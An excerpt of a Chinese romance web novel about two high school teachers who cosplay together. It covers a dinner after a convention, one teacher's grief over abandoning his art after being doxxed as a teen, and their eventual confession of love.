【简直名场面，笑死我了我的天】 【小赵同学往那一坐跟个小蛋糕似的，姐姐不介意等你长大哈哈哈哈】 【很抱歉以这种方式认识你，赵遇京同学】 【扶光是真的好温柔啊，学生都对他撒娇哎，虽然被离玉一个眼神给瞪回去了（）】 【逃补习班就算了还对我老婆撒娇？准备用眼神去瞪.jpg】 【离玉好反差啊啊啊！感觉更帅了，好有威慑力！又符合人物了离玉老师……真老师。】 【这我还搞个集贸同人啊，合着你俩是同事近水楼台，我还活个集贸啊，这就是真情侣，杀了我给两位助助兴】 【虽然但是，离玉老师之前一直在京都，扶光是一直在祁城吧，他们应该是去年才当上同事的】 【不觉得更好嗑吗？发现七年的网恋对象和大佬是我同事什么的，天降白月光香飞了，这要是党争离玉包赢的啊】 【离玉：看好了，玉光是这样搞的（比划）】 【啊啊啊啊我操原来离玉也是我们学校老师啊啊啊啊，怎么还不开学快开学啊！！最想开学的一次！死学快开啊！】 【你们学校缺不缺保洁，我可以去洗厕所】 【缺不缺保安，我可以去少走十年弯路】 【缺地毯吗，我可以去趴着】 【缺猴子吗，我什么都不会干考试也考不好但是我可以对着两位老师的盛世美颜猴叫】 邓留萤美滋滋的点开视频，想看看玉光的绝美爱情，对着他们家陶老师和离玉老师发发癫什么的。 ……给她干哪儿来了？！ 简璃前两天还回复她举报有功，合着是言出法随的意思？ 他是离玉？！ 邓留萤两眼一黑，差点没一口气撅过去。 不要啊不要啊！ 她抱着自己可怜弱小又无助的在床上打滚。 离玉不要变成简老师啊，不要啊—— 也就是说之前她爬来爬去根本没爬出一个坑是吧？！ 这几天产粮瞬间又翻了一倍，不少画手都画了赵遇京在扶光离玉边上补作业的可爱一幕，换做以前邓留萤一定畅游在同人里，爽吃。 但是现在她再也不敢点进车文和黄图了。 再也不敢了。 甚至看清水粮里都接受不了一点的ooc。 并且有一种嗑熟人长辈cp的背德感。 偷感还蛮重的…… 而赵遇京在漫展结束当天，被朋友果断抛弃，有幸和各路coser、手作、化妆大佬，坐在一张桌子上吃饭。 他也配……？ 这是他最老实的一次，话都不敢说密了。 饭桌上，无梦听完了过程，也是想笑，看了看赵遇京说：“这个是你们学生啊，怪不得刚才展子上围了这么多人，我和玥玥都挤不进去。” 她旁边坐着她的女朋友翟玥，长得出挑落落大方，风格和无梦截然相反，看起来跟小姑娘似的，显年轻。 “臭小子，”简璃用筷子另一头敲了一下赵遇京：“看你下次还敢不敢。” “真的不敢了简老师……” 他就说离玉是简璃邓留萤不信，现在好了，他倒是被献祭出来了。 “好了好了别吓唬他了，”陶与晴夹了一块虾给简璃，说：“吃饭吃饭，消消气。” 简璃被顺了顺毛，不计较了。 翟玥笑着说：“扶光老师和离玉老师一个学校的吗？” “对，”陶与晴热情的回复她：“我们去年一起带高一，开学他们就高二了。” 翟玥：“做老师很辛苦吧？我之前也考虑过来着。” 陶与晴：“也还好，遇见这些有想法的学生，还是挺有意思的，翟玥你是在外企吗？工作强度会不会很大。” “我是我们公司的翻译，平时出差挺多的，主要是……” 他们俩聊的其乐融融，简璃和无梦对视一眼，拍拍她肩膀，说：“陪我出去买瓶水，你们吃。” 无梦疑惑的看他一眼，起身和他一起出去。 “憋什么坏水呢，”无梦撩了一把头发，不信简璃真的是叫她出来买水的：“说来听听吧。” “是一些私人情感上的问题，向你请教一下。” “哦？” 无梦和简璃一起坐在饭店门口的楼梯上，没有刻意凹造型，路过的人都会情不自禁看他们一眼，因为这样两个人坐在楼梯上画面奇怪的好看。 尤其简璃还没换衣服，古风长发，英气十足。 酷哥和酷姐。 无梦并不意外，说：“早看出来了，你干嘛还不表白，你知道你们家扶光这个条件在相亲局里多受欢迎吗。” 一提到相亲简璃更加皱眉：“……我们是同事，抬头不见低头见的，而且他的性格，要是他拒绝了我估计比我还尴尬。” “我觉得扶光还挺喜欢你的啊。”无梦说。 “谢谢，他确实对人真诚又温柔，哪都好。” 无梦给他个鄙视恋爱脑的白眼：“……你要是来秀的那我回去了。” “坐坐坐，说正经的，”简璃言归正传，说：“……再说，我一开始对他态度不是那么友好，可能扣了点印象分，想问问你是怎么把翟玥追到手的，参考参考。” “……这个问题……”无梦说：“有没有可能我是被追的那一个啊，离玉老师。” “互删吧。” 无梦摁住简璃拿手机的手，说：“知道你急了但是你别急，虽然我不能告诉你怎么追人，但是我确实可以告诉你怎么挽回印象分。” “……你不是被追的那个吗？” 无梦有些尴尬的移开目光：“……被追就不能挽回印象分吗，当时有眼无珠拒绝人家几次不行啊。” “哦——”简璃总结：“人家追你的时候你看不上，现在真香了天天粘着人家摇尾巴。” 无梦睨了他一眼：“你一定要和我五十步笑百步吗？” 简璃：“我……只是有自己的节奏。” 无梦：“我、也只是有自己的个性。” 简璃认同这个话题对他们两个都不利，所以他们放弃互相伤害。 “首先呢，你要方方面面的照顾人家的生活，有事儿没事儿送点礼物，认错服软一定要快，时不时叮嘱他吃饭呀喝水呀之类的，明白吗。” 简璃沉默了。 送礼物没问题，但是陶与晴平时不爱收，两个人一直都是有来有回的，有说不上来的边界感。 认错他很快的，但是陶与晴生气了不是认错就能哄好的，而且能把陶与晴给惹生气他确实挺厉害的…… 至于吃饭喝水，好像是陶与晴嘱咐他比较多点，家务事也是陶与晴懂得多。 稍微有点惭愧了，简老师。 “……这些你要是都不行，你就多暗示他一点，比如他会不会反感你肢体接触什么的？” “不，但是我知道他就是很容易害羞，肢体接触看不出来什么。” 无梦说：“实在不行你就摊牌吧，反正你本来也没想和人家做同事，一不做二不休。” “你说，”简璃开始思考：“我有没有一种可能，让他来和我表白，就不怕被拒绝了。” “你要是真有这个本事那你也挺厉害，”无梦拍拍他的肩膀：“梦里面什么都有。” “……” 回到饭店，陶与晴奇怪的看向他们，说：“你们买水买了半个小时？” 简璃：“我们想买的水附近都没有。” 无梦：“嗯。” 翟玥：“那快吃饭吧，菜都凉了。” 陶与晴接过简璃拧开的矿泉水。 ……不就是普通的矿泉水吗，有什么好找不到的。 悄悄摸摸的干什么去了。 陶与晴戳了戳碗里简璃夹的肉。 走出饭店之后，陶与晴问赵遇京：“你一个人来的？住在哪儿呢，什么时候回去。” “我住我朋友家，打算明天就回去的，”赵遇京对着陶与晴嬉皮笑脸：“陶老师，我真知道错了，不用再罚了吧，数学作业……” “下次去哪里一定要和父母说清楚知道吗，这样子一个人出来多危险啊，”陶与晴拍拍他的头，说：“下不为例。” “好好，我知道了。”赵遇京眼神一点点去看陶与晴后面站着的，正在和无梦翟玥聊天的简璃，他们还没换cos服呢，帅是真的帅，但是一想到是他老师又…… 赵遇京小声说：“老师，你们两个在学校不会被女同学找上班吗？” “有啊，”陶与晴说：“但是要合照和签名的都被你们简老师赶走了，之后就没什么人来了。” “……怪不得我有时候看见窗户外面站几个女同学朝里面看，合着不是看我们班男同学的啊，”赵遇京摇摇头：“哎，你们的光辉太强大了。” “别贫嘴了，”陶与晴无奈一笑，说：“你住哪，送你回去吧？” “这个……” 也不知道朋友家还能不能回……这要是过去他不得被笑死。 虽然他脸皮厚，但是也不至于子弹都打不穿吧。 “……要不然，”陶与晴看出他有所顾虑，主动提出：“我和简老师明天也要回去，要不然一起吧。” “好啊好啊！”赵遇京刚答应又有些后悔，看了看简璃，“但是简老师他能同意吗？” “他同意啊，一起住一晚上，没什么的，”陶与晴扭头说：“简老师——” 简璃有求必应，扭头：“在，怎么了。” “遇京没地方回，和我们住一晚上行吗？” “……听你的，你说行就行。” “你看，”陶与晴笑了笑看向赵遇京：“虽然说你们简老师总是吓唬你们，但是他人很好的。” 真的……吗……？ 赵遇京总感觉简璃并不乐意呢。 无梦在不远处嘲笑一下，说：“还要和学生争宠，追妻路漫漫啊。” “……那是他善良，”简璃说：“品德好。” 翟玥挽着无梦说：“离玉老师，加油。” 简璃从翟玥的眼神里品出了一丝同情。 但是他无法反驳。 班上五十多个小娃娃都得和他争呢。 每三年还换一批，不带重样的。 无梦和翟玥住的离这里不远，考虑到她们是女孩子，所以几个人散步着送回去也当消消食了。 陶与晴和翟玥聊了很多工作上的事情，互相对对方的职业都很感兴趣。 原来翟玥是个同声翻译，平时经常出差，和无梦异国恋了一年，两个人倒也没特别不适应，去之前一起在京都买了房子，无梦回来以后房子装修好了一起住。 无梦去国外进修绘画其实是几年前的想法了，她很喜欢国外一位老师的作品，一直想和他学习，但是一直耽搁，这才完成了一桩心事。 翟玥看了一眼无梦说：“她从小就爱画画，对她来说画画是一种放松，虽然我看不太懂那些作品，但是觉得只要是她画的都好看。” 陶与晴特别懂这种热爱的感觉，说：“以前我也学过一段时间画画，虽然很久没画了，但是能懂。” “扶光老师也会画画？”翟玥很快反应过来，说：“也是，看你做假发的分层，感觉是有绘画技巧。” “我没学多久，画技不精，献丑献丑，”陶与晴说：“无梦老师是什么时候学的？很辛苦吧。” “小学？”无梦回忆，说：“中间有一段时间其实一度学不下去，说起来是网上看见一个老师特别有灵气的作品，被他的画感染。” “不过当时我在上学，没有常去关注，”无梦说起来还有些伤感：“很可惜的是，那个老师不知道为什么把账号给注销了，之后就没音讯了。” 第54章 陶与晴听到这里，瞬间站住。 “……什么？” 简璃没说话，只是去看陶与晴的表情。 无梦也停下，以为他只是对这个事情感兴趣，就解释说：“对，他销号以后有好多人都很遗憾，不过我翻了翻，没什么人解释事情经过，七七八八的，大概是被三次元的人给开盒了？” 翟玥说：“如果真是这样那太遗憾了，希望他现在还在画画，一定是很厉害的画手。” 陶与晴一时失去方寸，声量都大了些许：“你还记得他ID叫什么名字吗？” “这个我记得，他的ID叫秋水落日，我记得的，”无梦说：“初中就很喜欢他的画。” 陶与晴表情复杂：“……十几年了，你还记得？” “当然，我还挺怀念当时的圈子，大家都简简单单的，而且……怎么了，”无梦说到一半，问：“扶光？” 陶与晴用力笑了笑，说：“无梦……你现在是很厉害的画手，很棒。” 能够被人记住，能够激励到曾经的同好，陶与晴是开心的。 ……这样就挺好。 “哪有，我还远远不够呢，不过谢谢夸奖，”无梦也笑着说：“我们都不是小孩子了，但都是优秀的人。” 无梦和翟玥对他们挥手告别之后，陶与晴又走了一段路，停下。 他感到自己的手被人给握住了，是简璃。 那人安静的摩挲他的手背，他才发现原来他手上出了很多冷汗，他自己都不知道。 “陶老师……”赵遇京也觉得他表情不太对劲，问：“不太舒服啊？” “……没事，”陶与晴回握住，摇摇头：“先带你回去拿行李吧，回去的票买了吗。” “还没……” 陶与晴强撑起语气：“那一起买吧？刚好不用分开坐了。” 赵遇京看见他们牵手，倒没什么别的想法，但是他觉得陶与晴心情不太好的样子，想了想，一时间连他都想不到什么活跃气氛的话，只好说：“那我先回去我朋友家拿东西，离这里不远，我行李不多的，就一个大点的包。” 怕是只有简老师能知道原因了吧。 “我们……” “老师你们等我吧，”赵遇京小跑两步回头说：“我突然很想跑跑步，就在这儿等我啊！” 他可真是个小机灵鬼，说不定开学简老师觉得他戴罪立功，还会对他网开一面！ 他可太有眼力见了。 赵遇京在心里暗夸自己。 “这臭小子……” 简璃当然一眼看出他故意的，不过反正他也想单独问问陶与晴，就接了这个人情。 简璃拉着他让他面对自己，说：“‘秋水明落日，流光灭远山’出自《杜陵绝句》……是你。” “……挺明显的吗。” “嗯，因为你和我说过这件事，”简璃问：“为什么不告诉她是你。” “……我不想让她知道我已经不画画了，也画不出当年的感觉了，”陶与晴情不自禁握紧了简璃的手，说：“给别人留下念想是一种美德对吧。” 简璃低声：“但……” “我很喜欢我现在的状态，”陶与晴忽然打断他，浅浅笑了，语速也有点快，像是极力证明说：“我喜欢做老师，遇到这些孩子们我很高兴，我觉得这个职业非常的有意义。” 陶与晴真心喜欢这个职业。 真心喜欢。 ……也真心遗憾。 他不遗憾自己没有成为一个画家。 他只是遗憾自己再没有当年的“灵气”了。 哪怕让他照着自己的来画，他也复刻不出来。 这太残酷了。 他说着说着就哽咽了：“而且人生就是会有遗憾的……人生就是……” 简璃什么都没说，伸手抱住他，就像当初在校门口他抱住自己一样。 陶与晴声音闷闷的，还带了点鼻音，不知道是不是故意不解风情：“粉底蹭到你c服上了……” 简璃接话：“管他呢。” 就是想抱抱他。 …… 晚上到家，简璃和陶与晴默契的没提刚才的事情，赵遇京主动要求睡地铺。 “你还是小孩子，”陶与晴刚洗好澡正在擦头发，状态好了不少，说：“怎么能睡地上呢。” “我睡姿很差的陶老师，”赵遇京挠挠头，说：“你和简老师谁和我一张床，都会被我踹到的，那不是罪过大了？” 简璃从后面接管陶与晴头上的毛巾替他擦：“他都这样说了，就让他睡地上好了。” “……那怎么行。” 赵遇京丝滑躺下：“晚安陶老师。” 好小子，简璃决定不和他计较今天的事了。 赵遇京看见了简璃赞许的目光，暗自拍拍胸脯。 包的啊简老师，给他减点作业就行。 陶与晴更是奇怪，前两天明明怎么都不愿意和自己同床的简璃忽然变卦了。 ……该不会是刚才抱了一下…… 赵遇京是看陶与晴的脸色好了很多，看来简老师的安慰果然还是很有用的。 这都得归功于他跑了一公里路，这对于他一个跑八百都难受的人来说，来回一公里简直是要命。 他可真是勇敢牺牲啊。 赵遇京暗爽甚至没听见陶与晴在叫他，回过神来问：“怎么了陶老师。” “老师是想问，”陶与晴觉得问这个问题还尚早，但是经历过刚才那一下，有些担心：“你以后想做什么职业呢，有没有什么想之类的。” “……这个……” 这个问题把赵遇京给问到了。 其实他没想这么多，也没有什么特别想做的事。 赵遇京一时沉默，鲜少的没有插科打诨蒙混过去。 未来想做什么。 这是一个很发人深省的问题。 ……想做什么呢。 非要说的话，他喜欢自在一点的职业，至少目前他觉得，他不想成为被磨平棱角的“大人”。 他想自己永远开朗，永远有想象力。 怎么回事呢—— 赵遇京想：这还没高二，自己已经不想毕业了。 “无拘无束顺便就把钱赚了的职业。” 简璃毫不客气的泼冷水：“想的挺美。” “哈哈哈哈哈简老师不要这么快点破我嘛。” 陶与晴无奈的摇摇头，孩子现在想不到，他也就不追问了，只希望他们以后都能开开心心的，做什么职业都行。 然后一直聊到夜里，陶与晴看赵遇京困了，就关了灯，自己也埋进被子里。 要命的是，民宿的被子不够用了，他只能和简璃盖一个。 那个人的体温近在咫尺，陶与晴脸热得很，扭头去看赵遇京，发现这个没心没肺的小子已经呼呼大睡了，哪里像是还能协商的样子。 简璃仰面躺着，倒是没有别的动作。 陶与晴适应了一会，转过身去看他，发现他闭着眼睛，呼吸均匀，似乎也睡着了。 陶与晴觉得……刚才在路上自己有点失态了。 但简璃什么都没说。 简璃那样做，只是出于同事之间的安慰吗？ 陶与晴不动声色往他那边靠了靠，心脏跳动的声音在静谧的夜晚更明显了。 他不觉得简璃会那样安慰别人。 陶与晴觉得简璃好像有点儿喜欢自己…… ……真的假的。 被他的任何风吹草动带着走，去猜他乱七八糟的心思，辗转难眠，期待他能出现在自己梦里—— 暗恋真是一件烦心事。 陶与晴头轻轻抵在简璃的肩膀，呼吸减缓，小心翼翼感受他的体温，进入梦乡。 然后，简璃没有出现在他梦里。 他做了个噩梦。 梦见了初中。 梦见自己的ID被贴出来放在大屏幕上。 梦见那个脸都记不清的始作俑者在笑，带着其他人一起。 然后陶与晴看见自己拿起画笔，却什么都画不出来，耳朵边滋滋啦啦的有人在说话，但是陶与晴听不清，只觉得莫名的好难过。 不……不要…… 简璃几乎是惊醒，听见陶与晴在自己耳边呢喃着说梦话。 说话声音很小，只是他对陶与晴的声音太敏感。 而且他听见陶与晴在哭。 他转身把人搂进怀里抱紧，轻轻拍拍他的背。 “我在呢，好了好了，没事了……” 怀里人的抽泣声逐渐减缓，简璃却没敢睡着。 ……如果有机会。 他抱紧陶与晴几乎有些气急的想。 ……一定要把那个带头的混蛋揪出来打一顿。 梦里，陶与晴手里的画笔变成了一只粉笔。 他看着自己擦擦眼泪回头，班里的学生在等他讲课。 简璃站在，把手放在他肩膀上。 【下了晚自习，一起回家。】 陶与晴醒来，感觉到脸侧的枕头有些打湿了。 坐起来缓了一会，才从梦里出来。 后半段是个挺好的梦。 真意外。 “陶老师你醒啦，”赵遇京从厕所里探出头，一边刷牙一边含糊不清说：“简老师去买早饭了一会回来——” “好……” 京都的航班很多，现在也比过年那段时间好买票，三个人买的下午的，回到祁城应该是傍晚。 陶与晴起来换了衣服，了头发。 简璃开门回来，手里领着袋子，里面装着包子豆浆油条什么的。 赵遇京正是长身体的年纪，胃口大，一边炫早饭一边还拍照发群里。 【小班长你快改群名！】（墨镜）谁和简老师陶老师一起吃饭啊，是我啊。 【无尽花会开】：陶老师和简老师都在京都呀？ 【雨】：那简老师怎么没揍你？ 【小班长你快改群名！】：我能被揍吗？我怎么可能被揍，开玩笑。 【小班长你快改群名！】：我最多也就是写了几个小时作业而已：） 【不改你跳吧（群主）】：一点都不意外。 “吃饭别玩手机，”简璃说：“一会要去机场。” 因为陶与晴和赵遇京起的都比较晚，所以其实现在已经是接近中午了，这一片的确里漫展很近，但是缺点是里机场还蛮远的。 赵遇京非常老实的关了手机吃东西，毕竟他昨天刚给简璃刷了点好感，可不能打回原形。 那包里还放着莫名其妙多出来的十几张卷子呢。 京都的机场比较大，到了以后找了好一会地方，还好到了机场飞机没延误，三个人顺利的登机了。 赵遇京坐在靠窗的位置，简璃坐在走廊边，陶与晴坐在中间，侧头看简璃的脸。 他发问：“有点憔悴啊简老师，昨天没睡好？” 可不是没睡好啊，抱着人都不敢闭眼。 万一又做噩梦怎么办。 简璃：“有点。” 陶与晴看了看他，坐直了。 他指指自己的肩膀：“睡会吧，反正飞机上也没事干。” 简璃盯着他的肩膀看了一会，没拒绝，偏头靠上去。 陶与晴调整了一下坐姿，让他靠的舒服点，伸手取掉了他的眼镜。 飞机刚起飞不久，赵遇京也打了个哈欠，然后陶与晴又指了指自己另一个肩膀。 他后半夜睡的挺好，这会不怎么困，靠着座位发呆，一边一个脑袋。 空姐推着餐车路过的时候忍不住笑了，觉得非常温馨，小声的问他需不需要毛毯。 陶与晴要来两条，搭在他俩身上。 飞机落地之前两个人就醒了，陶与晴和简璃决定先把赵遇京给送回去。 考虑到肚子都饿了，飞机上的食物味道很一般，所以先附近找了个饭店，吃个饭再说。 “完了，”菜还没上呢，赵遇京看了一眼手机说：“我爸妈回来了，完了。” 简璃早就料到有这天，说：“你逃课出来的时候就该想到的。” “陶老师——” “我不会无缘无故帮你圆谎的啊，”陶与晴婉拒：“老老实实和爸爸妈妈交代吧，听话。” “……” 赵遇京叹了口气，咬吸管。 把他送到门口，赵遇京的父母出来接他，连声和简璃陶与晴道谢。 “实在是不好意思啊老师，”赵爸说：“这孩子太皮了，管不住，我们一定好好批评。” “没犯什么大事儿，他平时挺机灵的，”陶与晴说：“但是这次属实不应该，得说他两句。” “是是是，麻烦你们还给人送回来，一定说他，”赵爸说：“老师慢走啊，谢谢啊谢谢。” 陶与晴和简璃走掉还没到家，就看见赵遇京在班级群里发。 【赵遇京】：丸辣。 【赵遇京】：（图片） 是面前一堆作业的图片。 简璃收起手机，说：“天道有轮回，可不是我给他加的作业。” “突然想起来，漫展上粉丝给的卷子和作业好像还在他包里呢，”陶与晴说：“不知道他父母会不会发现……” 赵遇京私聊了陶与晴。 【赵遇京】：陶老师，我爸知道你和简老师请我吃了饭，非要我开学把钱给你们。 【赵遇京】：那什么，咱们开学能只收钱，不收作业吗？ 这是什么赤裸裸的贿赂。 简璃接过陶与晴的手机，打字。 【陶与晴】：做梦，老实把作业都写完，不多罚你点已经很仁慈了别蹬鼻子上脸啊。 【赵遇京】：……知道了简老师，把手机还给陶老师吧，您顶着这个ID说话怪吓人的。 “算他看出来了，”简璃把手机还给陶与晴：“没意思。” 陶与晴笑了笑：“你这语气太明显了吧。” 两个人走进同一个小区，站在两栋楼楼下却谁也不想回去似的。 “天黑了，那个……”陶与晴拿着自己的行李，说：“晚安……？” “昂，嗯……”简璃有点舍不得。 “那我，”陶与晴率先迈出一步：“先走了。” 简璃拉住他。 “明天……明天你出门吗。” “我、”陶与晴愣了一会，迅速点头：“可以。” “那明天，一起去周边店逛逛？这次漫展都没逛什么摊位。” “好啊……” 陶与晴答应了，简璃才松手。 “你除了约我去逛周边店，”陶与晴视线看着路边的灯柱，看起来像是盯着那处发呆，说：“就没有别的要说的吗……” 比如说…… 如果你…… “我、”简璃别扭了半天那句话在喉咙里打了个转又回去了，说：“……早点休息。” “……哦，好。” 哼。 陶与晴觉得简璃一点都不坦率。 第二天，在家选了半天衣服的陶与晴听见了自己门铃在响。 “来了，”陶与晴一边走过去一边说：“你不是知道密码吗，直接进……” 打开门一看，不是简璃。 是年级王主任。 “主任？”陶与晴一下子眼睛就瞪大了，说：“您、您怎么会来？” “小陶啊，不请自来打扰了。” “不会不会，快请进。” 年级主任之前确实一直很照顾陶与晴，但是还没有这样直接上门过，陶与晴感觉到可能是有什么要事和自己商量。 他倒了杯茶，给沙发上的主任递过去。 “……是有什么学校里的事情吗？” “那个，也不算大事，”年级主任比较老道，一开始没有进入正题，而是和陶与晴闲聊起来：“说起来前两天我看手机看见你了，陶老师平时有业余爱好？” “啊，对，一点小爱好，”陶与晴瞬间坐直了，有点紧张：“是、是有什么问题吗，太抛头露面了？” 看他这么紧张，主任笑了笑说：“害，没有没有，你别紧张，虽然我是不太懂，但是呢你们年轻人有朝气是好事啊，时代变了嘛，想做什么只要不影响学校的工作就行。” 陶与晴这才松了口气说：“您说的对，吓死我了……” “哎而且我闺女特别喜欢你，她和你差不多大啊小陶，有没有兴趣……” “不了主任，”陶与晴迅速尴尬的说：“我有喜欢的人了。” “哦这样，没事没事，”主任喝了一口茶，说：“那你改天有机会，帮我看看那个软件怎么玩儿的，我闺女老嫌我和她没有共同话题，我得学学。” “好的，没问题……”陶与晴小心翼翼的又问：“您找我……到底是什么事啊？” “呃，”主任缓和好气氛，这才开口：“你和简老师，平时关系很好对吧，看其他老师说你们经常在一起。” “……对，”陶与晴又说：“简璃他、工作一直很认真，没有受任何事情影响，真的。” “是是，”主任说：“好吧，其实是这样——京都那边的学校，问我们要人，想让简老师回京都那边发展，我这也是前两天才知道，不然也不会放假还来找你是不是，我是想你和简老师关系好的话，你能不能……” “也不是说非要人家留下来，就是你能不能多去劝劝，毕竟因为简老师和你，2班的整体成绩提高了很多，我这也是怕如果下学期简老师走了，同学们会不适应。” 主任一席话，把陶与晴打了个措手不及。 “……让简璃去京都？什么时候的事情。” 主任接着说：“没个准话，他们也只是问问，但毕竟人家那边条件更好，我还是挺担心简老师的选择，今天一早路过，就特意来和你说说。” 陶与晴靠在沙发上，表情有些沉重。 “这个事儿说大也不大，你们年轻人好好沟通沟通，看看他的想法，开学的时候再答复，”主任说：“我想你们之间可能更好沟通一点，小陶你一直是我们学校最受欢迎的老师嘛，所以我找你聊聊。” 主任的意思陶与晴明白，他也肯定不想简璃莫名其妙的走掉，所以假期开始没多久就找上自己了。 主任又说了两句，起身说：“那我不打扰了，情况就是这么个情况，小陶你也别有压力，我们还是尊重个人选择。” 主任说完这句，就离开了。 留下陶与晴一个人坐在沙发上思考人生。 去京都发展确实更好……可是…… 陶与晴已经不能习惯没有简璃的学校了。 而且、为什么简璃从来没提过有学校来找他的事情呢？ 难道他……想走吗？这次带他去以前的学校，是不是也有这个原因…… 在沙发上坐了很久，陶与晴听见了一阵开门声。 “发消息打电话你怎么都没回，”简璃看见陶与晴坐在客厅沙发上才松了口气，还以为他又像上次那样在家生病了，“怎么了这是……” 陶与晴还穿着家居服，有些慵懒感，但是和平时最不同的是他现在紧锁的眉头。 陶与晴看见简璃，站起来，一时间也不知道要说什么，思索了片刻，问：“期末的时候……有学校找过你吗？让你回京都？” 简璃看着他，眨眨眼，点头：“对，你怎么知道。” “刚才主任找过我，和我说了这个事情……” “这事儿啊，我早……”简璃刚想说些什么，发现陶与晴的表情不对劲。 那个表情混杂着一些委屈和哀怨，似乎对这件事非常的不满。 他刚止住话头，陶与晴就急切的说：“你——是不是想离开一中。” 简璃心中过了一堆弹幕之后，逐渐汇聚成一个想法。 他家陶老师这是…… 舍不得他？ 第55章 简璃沉默片刻，走近陶与晴。 “对，我在考虑，还没确定。” 他靠近一步，陶与晴后退一步，渐渐逼近，陶与晴没站稳坐在沙发上。 “陶老师、想我走还是想我留。” 简璃撑着沙发把人圈住，陶与晴看他的眼神很认真，心头一紧。 “我……我……” “你说，”简璃循循善诱：“想我走吗。” “不、不想……” 陶与晴脸被逼的通红，不知怎么，他好像变成了被审讯的犯人似的。 好近……甚至能感觉到简璃的气息。 “为什么？” 他听见他低沉着声音发问。 “因为……” 简璃继续说：“你不说……那我可要走了。” 陶与晴暗道不好，他已经完全不能思考了，脑子里在疯狂打转。 可是他越这样慌乱，简璃就逼的越紧，质疑要撬开他的嘴，套出那点机密情报。 陶与晴可不喜欢如此被动，他会方寸大乱的。 陶与晴喜欢简璃。 简璃在心中已然明了，暗自感叹陶老师害羞的时候真是可爱极了，可惜那些粉丝们全都看不到。 马上，他一定要听见陶与晴亲口说喜欢他。 而下一秒，他始料未及的是——脸侧印上了温热一吻。 简璃逼近人的动作一僵：“……” 陶与晴仰头闭眼，亲在他的侧脸上，空气骤然安静。 然后嘴唇缓缓移开。 做完这个举动，不光简璃懵，陶与晴自己也挺懵的。 他反应过来，迅速从简璃手臂处钻出来。 “我去换衣服……！” 简璃留在原地愣了很久，摸了摸自己的脸。 然后捂住嘴，耳尖变红。 坏了。 流程不对…… ……但是他要笑出声了。 …… 房间里陶与晴深呼吸了几下，抱紧一件衣服遮住脸。 他都干了什么……！ 这要怎么解释……还有简璃刚才那是—— 本来他还想听简璃表白的……！ 救命救命救命…… 陶与晴又不好意思把人晾在外面太久，随便穿了一件就开了门。 他半开着门悄悄探出去，想观察一下那个人的反应。 应该……应该不会跑了吧。 难道自己猜测他喜欢自己，是错的？ 陶与晴没从房间里看见简璃，心里确实慌了一下，走出去才发现那个人站在窗前，离空调很近直吹冷风。 陶与晴鼓起十足的勇气率先开口叫他：“我……好了，我们出门吧……” 简璃迅速且僵直的回头：“嗯、好。” 陶与晴甚至有些懊恼。 这下好了，不知道该怎么接上刚才的话题了。 他纠结的时候，感觉自己的手被人给牵上了。 第一次没有任何由的牵上了。 也、也是……他刚才亲了……所以牵手是对的对吧。 他们已经算……在一起了吗？ ——所以牵手很正常的。 简璃这意思是……他不走吗？ 陶与晴心里慌表面上也慌，但是又不想甩开简璃的，默默跟在他后面。 夏天的温度有点高，但是走到小区外面还是谁也没松手。 一直到上车，松手的时候像触电一样。 陶与晴照例坐在副驾驶，想说话又不知道说什么，好想问问主任说的是不是真的，简璃到底是不是打算走。 又觉得现在问这个好像有点煞风景，更不知道聊点什么了。 ……都怪自己，一个脑热把思路全打乱了。 这可怎么办！ 殊不知他打乱了不止自己的思路，还有简璃的。 简璃坐在驾驶位，努力心无旁骛的目视前方。 开车的时候胡思乱想是很危险的，但还是有点忍不住。 ……虽然亲亲也很好，但是他真的很想听陶老师表白。 想听扶光老师说喜欢他就这么难。 扶光老师太犯规了，怎么能越过流程直接作弊呢。 祁城最繁华的商业街，暑假这么热的天也有不少人，尤其是商场里面，有空调没太阳直晒，是避暑一大好去处。 本来约好的行程现在在两个人心里变得特别奇怪。 上次来还是不知道离玉身份，却得了个专属cos委托的时候—— ……这次来、离玉好像变成他真男朋友了？ 简璃还有点智，觉得他俩在这么多人当中逛街无异于当众“裸奔”。 “要不，先去买口罩吧，”简璃说：“……免得被太多人认出来了。” “好……” 陶与晴还处于一个很懵的半宕机状态。 “两位先生，看点什么？口罩吗？”店员小姐姐笑着说：“这个是我们新款的茶香型口罩，不仅有医用的功能性可以防污染物，还有不同的小图案，很适合你们年轻人戴的。” 店员小姐姐介绍了半天，说：“还有情侣的呢，两位先生是……” 简璃：“那就这个，拿一对。” “啊好好好，好嘞，这边结账。” 陶与晴接过一只口罩，想到了之前简璃给自己的那一个，上面有小兔子图案的。 和简璃那个小猫图案的也好像一对。 喃喃道：“情侣的……” 简璃顿了顿，点头说：“嗯，情侣的。” ……其实他不是想说这个来着。 但是他是不是被简璃承认了？ 走着走着他问简璃：“……你不走了对吧。” 见他傻乎乎的还在纠结这件事，简璃也是哭笑不得。 他根本就没想过要走，期末后京都那边打电话找他他直接就拒绝了，所以才根本没提起这件事，不知道怎么传到校领导耳朵里了，还找上了陶与晴。 简璃二话不说，伸手拉住陶与晴，往商场角落的楼梯间走。 那里没有人，简璃一个用力把陶与晴带到墙边，单手撑住一侧，说：“陶老师这个时候应该要说什么把我留下？” 陶与晴简直无可奈何。 这个人怎么这样，他明明都…… “你不说，”简璃一不做二不休，延续在家没做完的剧本，“那我可回复人家了，就说……反正学校里没人喜欢我，干脆我就回去吧。” 这个人真是…… 陶与晴抿了抿嘴，不得不承认他的“威胁”非常有效。 万分之一的概率，他也不想简璃走。 简璃再次说：“那我、可要走了。” “我……喜、……喜欢……” 简璃侧耳：“听不清，请详述，否则不通过。” “我、我、我喜欢……你——”陶与晴咬咬牙，磕磕巴巴的说：“一开始……确实、觉得你脾气不好，后来发现是个很好的人……我也不知道我什么时候慢慢喜欢你……你和其他人聊天我就不高兴，见不到你我就老是想到你，你每次靠近我我就心跳加速……” “后来发现、喜欢你是因为很多细枝末节一点一点渗透进入我的生活，你坚韧的性格底色也让我很钦佩，不是因为你是离玉，不是因为你长的……好看，当然你长的是很好看——离玉、简璃、简老师，已经成为我生活不可分割的一部分，你改变了我很多，保护了我很多……总之、我、我喜欢你……” “比一万种可能，还多一种的喜欢。” ……够了吧。 陶与晴感觉自己念了一篇小作文，脸红的要滴血了，像找个地道快点钻进去，赶紧闭上眼，不敢看他。 仿佛过去了很长的时间，具体多长不知道，也可能是陶与晴的错觉。 总之，他听见了简璃轻笑一声，才回过神来。 “嗤……” 陶与晴半睁开眼。 “语句通顺，逻辑清晰，你的答案通过了，”简璃微微低头亲了一下他的嘴角：“不走了。” 陶与晴紧张的说不出话：“！……” ……坏的没边了，离玉老师。 陶与晴被亲了一下，捂着脸脸红低着头默默想。 